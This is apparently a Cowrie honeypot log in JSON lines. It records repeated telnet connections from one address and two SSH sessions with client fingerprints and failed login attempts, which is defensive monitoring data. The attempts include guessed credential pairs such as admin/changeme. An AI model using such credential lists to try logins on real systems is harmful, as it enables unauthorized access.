{"eventid":"cowrie.session.closed","duration":30.337874174118042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:09.049883Z","src_ip":"173.249.14.218","session":"7dff626aa4d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":33856,"dst_ip":"159.203.135.109","dst_port":23,"session":"166242175917","protocol":"telnet","message":"New connection: 173.249.14.218:33856 (159.203.135.109:23) [session: 166242175917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:09.347810Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":37528,"dst_ip":"159.203.135.109","dst_port":23,"session":"d11011c9abcb","protocol":"telnet","message":"New connection: 173.249.14.218:37528 (159.203.135.109:23) [session: d11011c9abcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:11.342064Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":45400,"dst_ip":"159.203.135.109","dst_port":23,"session":"258ad16b6ba6","protocol":"telnet","message":"New connection: 173.249.14.218:45400 (159.203.135.109:23) [session: 258ad16b6ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:15.510057Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":46920,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c07933dd07a","protocol":"telnet","message":"New connection: 173.249.14.218:46920 (159.203.135.109:23) [session: 0c07933dd07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:16.365070Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":47104,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c67cf5dbcc1","protocol":"telnet","message":"New connection: 173.249.14.218:47104 (159.203.135.109:23) [session: 9c67cf5dbcc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:16.533777Z"}
{"eventid":"cowrie.session.closed","duration":30.76947593688965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:17.074077Z","src_ip":"173.249.14.218","session":"077f26542675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.438875675201416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:18.054232Z","src_ip":"173.249.14.218","session":"e3a680c922f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":50632,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd7adb85be55","protocol":"telnet","message":"New connection: 173.249.14.218:50632 (159.203.135.109:23) [session: dd7adb85be55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:18.381187Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37304,"dst_ip":"159.203.135.109","dst_port":22,"session":"69f4f872d99b","protocol":"ssh","message":"New connection: 159.203.92.129:37304 (159.203.135.109:22) [session: 69f4f872d99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:18.584217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:18.589711Z","src_ip":"159.203.92.129","session":"69f4f872d99b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:18.595398Z","src_ip":"159.203.92.129","session":"69f4f872d99b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"changeme","message":"login attempt [admin/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:18.616361Z","src_ip":"159.203.92.129","session":"69f4f872d99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:19.625689Z","src_ip":"159.203.92.129","session":"69f4f872d99b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":54076,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd04a812915c","protocol":"telnet","message":"New connection: 173.249.14.218:54076 (159.203.135.109:23) [session: fd04a812915c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:20.404022Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":54184,"dst_ip":"159.203.135.109","dst_port":23,"session":"7290796e9676","protocol":"telnet","message":"New connection: 173.249.14.218:54184 (159.203.135.109:23) [session: 7290796e9676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:20.465032Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":58674,"dst_ip":"159.203.135.109","dst_port":23,"session":"39a44c37341e","protocol":"telnet","message":"New connection: 173.249.14.218:58674 (159.203.135.109:23) [session: 39a44c37341e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:22.609247Z"}
{"eventid":"cowrie.session.closed","duration":30.545957565307617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:24.068863Z","src_ip":"173.249.14.218","session":"d432a5642f73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65499448776245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:24.128839Z","src_ip":"173.249.14.218","session":"6ae71f717600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc81f308e167","protocol":"telnet","message":"New connection: 173.249.14.218:35084 (159.203.135.109:23) [session: dc81f308e167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:24.805739Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":37166,"dst_ip":"159.203.135.109","dst_port":23,"session":"939207b8b73b","protocol":"telnet","message":"New connection: 173.249.14.218:37166 (159.203.135.109:23) [session: 939207b8b73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:25.978595Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":39212,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd0ebf58485f","protocol":"telnet","message":"New connection: 173.249.14.218:39212 (159.203.135.109:23) [session: dd0ebf58485f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:27.053539Z"}
{"eventid":"cowrie.session.closed","duration":30.925615549087524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:27.115731Z","src_ip":"173.249.14.218","session":"29f5213fb1e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":39700,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f2e065b3b02","protocol":"telnet","message":"New connection: 173.249.14.218:39700 (159.203.135.109:23) [session: 7f2e065b3b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:27.338778Z"}
{"eventid":"cowrie.session.closed","duration":30.62785577774048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:29.085862Z","src_ip":"173.249.14.218","session":"8f3c8b59a061","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":49424,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1d4292d804d","protocol":"telnet","message":"New connection: 173.249.14.218:49424 (159.203.135.109:23) [session: e1d4292d804d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:32.611975Z"}
{"eventid":"cowrie.session.closed","duration":30.579293727874756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:33.068866Z","src_ip":"173.249.14.218","session":"67ddf076fd2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":54770,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad9830e5e0aa","protocol":"telnet","message":"New connection: 173.249.14.218:54770 (159.203.135.109:23) [session: ad9830e5e0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:35.340101Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":54878,"dst_ip":"159.203.135.109","dst_port":23,"session":"f20c20671718","protocol":"telnet","message":"New connection: 173.249.14.218:54878 (159.203.135.109:23) [session: f20c20671718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:35.404260Z"}
{"eventid":"cowrie.session.closed","duration":30.713008880615234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:36.065137Z","src_ip":"173.249.14.218","session":"d77d2dbe3687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56274,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2879ac871c7","protocol":"telnet","message":"New connection: 173.249.14.218:56274 (159.203.135.109:23) [session: f2879ac871c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:36.225100Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56324,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fab0c92521a","protocol":"telnet","message":"New connection: 173.249.14.218:56324 (159.203.135.109:23) [session: 9fab0c92521a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:36.251467Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56794,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0a0319aa591","protocol":"telnet","message":"New connection: 173.249.14.218:56794 (159.203.135.109:23) [session: d0a0319aa591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:36.534408Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56848,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1a7b365a5a0","protocol":"telnet","message":"New connection: 173.249.14.218:56848 (159.203.135.109:23) [session: a1a7b365a5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:36.552028Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":57122,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e7712338d8a","protocol":"telnet","message":"New connection: 173.249.14.218:57122 (159.203.135.109:23) [session: 4e7712338d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:36.717835Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":57308,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ff69a1d8df6","protocol":"telnet","message":"New connection: 173.249.14.218:57308 (159.203.135.109:23) [session: 5ff69a1d8df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:36.773210Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":57786,"dst_ip":"159.203.135.109","dst_port":23,"session":"014f7ce35a42","protocol":"telnet","message":"New connection: 173.249.14.218:57786 (159.203.135.109:23) [session: 014f7ce35a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:37.082590Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":59006,"dst_ip":"159.203.135.109","dst_port":23,"session":"031a8ff88af2","protocol":"telnet","message":"New connection: 173.249.14.218:59006 (159.203.135.109:23) [session: 031a8ff88af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:37.690364Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":59032,"dst_ip":"159.203.135.109","dst_port":23,"session":"f931aef1e634","protocol":"telnet","message":"New connection: 173.249.14.218:59032 (159.203.135.109:23) [session: f931aef1e634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:37.715388Z"}
{"eventid":"cowrie.session.closed","duration":30.654704809188843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:38.058054Z","src_ip":"173.249.14.218","session":"11f341e9af4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682280778884888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:39.072398Z","src_ip":"173.249.14.218","session":"086ba4d9bb64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.589709758758545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:39.099582Z","src_ip":"173.249.14.218","session":"063cee542a62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":33676,"dst_ip":"159.203.135.109","dst_port":23,"session":"e08044b791e7","protocol":"telnet","message":"New connection: 173.249.14.218:33676 (159.203.135.109:23) [session: e08044b791e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:39.151303Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":34090,"dst_ip":"159.203.135.109","dst_port":23,"session":"450cd4dbd081","protocol":"telnet","message":"New connection: 173.249.14.218:34090 (159.203.135.109:23) [session: 450cd4dbd081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:39.367352Z"}
{"eventid":"cowrie.session.closed","duration":30.709857940673828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:40.057583Z","src_ip":"173.249.14.218","session":"166242175917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":37548,"dst_ip":"159.203.135.109","dst_port":23,"session":"8857bfcc3397","protocol":"telnet","message":"New connection: 173.249.14.218:37548 (159.203.135.109:23) [session: 8857bfcc3397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:41.503887Z"}
{"eventid":"cowrie.session.closed","duration":30.712193965911865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:42.054129Z","src_ip":"173.249.14.218","session":"d11011c9abcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":42066,"dst_ip":"159.203.135.109","dst_port":23,"session":"f66cddfe2252","protocol":"telnet","message":"New connection: 173.249.14.218:42066 (159.203.135.109:23) [session: f66cddfe2252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:43.894611Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":43114,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc9731bf009","protocol":"telnet","message":"New connection: 173.249.14.218:43114 (159.203.135.109:23) [session: 3dc9731bf009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:44.425400Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":45692,"dst_ip":"159.203.135.109","dst_port":23,"session":"14dcd4d45fd5","protocol":"telnet","message":"New connection: 173.249.14.218:45692 (159.203.135.109:23) [session: 14dcd4d45fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:45.968176Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":45776,"dst_ip":"159.203.135.109","dst_port":23,"session":"7335ffbcd4ba","protocol":"telnet","message":"New connection: 173.249.14.218:45776 (159.203.135.109:23) [session: 7335ffbcd4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:46.016217Z"}
{"eventid":"cowrie.session.closed","duration":30.56909942626953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:46.079016Z","src_ip":"173.249.14.218","session":"258ad16b6ba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":46968,"dst_ip":"159.203.135.109","dst_port":23,"session":"300071db7846","protocol":"telnet","message":"New connection: 173.249.14.218:46968 (159.203.135.109:23) [session: 300071db7846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:46.630482Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":47660,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ecbdf81e9b4","protocol":"telnet","message":"New connection: 173.249.14.218:47660 (159.203.135.109:23) [session: 4ecbdf81e9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:47.031677Z"}
{"eventid":"cowrie.session.closed","duration":30.68870759010315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:47.053657Z","src_ip":"173.249.14.218","session":"0c07933dd07a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634952068328857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:47.168597Z","src_ip":"173.249.14.218","session":"9c67cf5dbcc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":33558,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac3f90d46c79","protocol":"ssh","message":"New connection: 103.172.20.218:33558 (159.203.135.109:22) [session: ac3f90d46c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:47.936522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:47.941274Z","src_ip":"103.172.20.218","session":"ac3f90d46c79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:48.168474Z","src_ip":"103.172.20.218","session":"ac3f90d46c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.67076826095581,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:49.051818Z","src_ip":"173.249.14.218","session":"dd7adb85be55","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"M3gaP33!","message":"login attempt [ubuntu/M3gaP33!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:49.114561Z","src_ip":"103.172.20.218","session":"ac3f90d46c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:50.344426Z","src_ip":"103.172.20.218","session":"ac3f90d46c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.592830657958984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:51.057759Z","src_ip":"173.249.14.218","session":"7290796e9676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.757912158966064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:51.161836Z","src_ip":"173.249.14.218","session":"fd04a812915c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":54996,"dst_ip":"159.203.135.109","dst_port":23,"session":"77e39b04e889","protocol":"telnet","message":"New connection: 173.249.14.218:54996 (159.203.135.109:23) [session: 77e39b04e889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:51.474905Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56380,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a014fc62f5a","protocol":"telnet","message":"New connection: 173.249.14.218:56380 (159.203.135.109:23) [session: 5a014fc62f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:52.219975Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56496,"dst_ip":"159.203.135.109","dst_port":23,"session":"01ae2abaf700","protocol":"telnet","message":"New connection: 173.249.14.218:56496 (159.203.135.109:23) [session: 01ae2abaf700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:52.309620Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":56992,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c77e8328b1a","protocol":"telnet","message":"New connection: 173.249.14.218:56992 (159.203.135.109:23) [session: 6c77e8328b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:52.473173Z"}
{"eventid":"cowrie.session.closed","duration":30.459519624710083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:42:53.068637Z","src_ip":"173.249.14.218","session":"39a44c37341e","protocol":"telnet"}
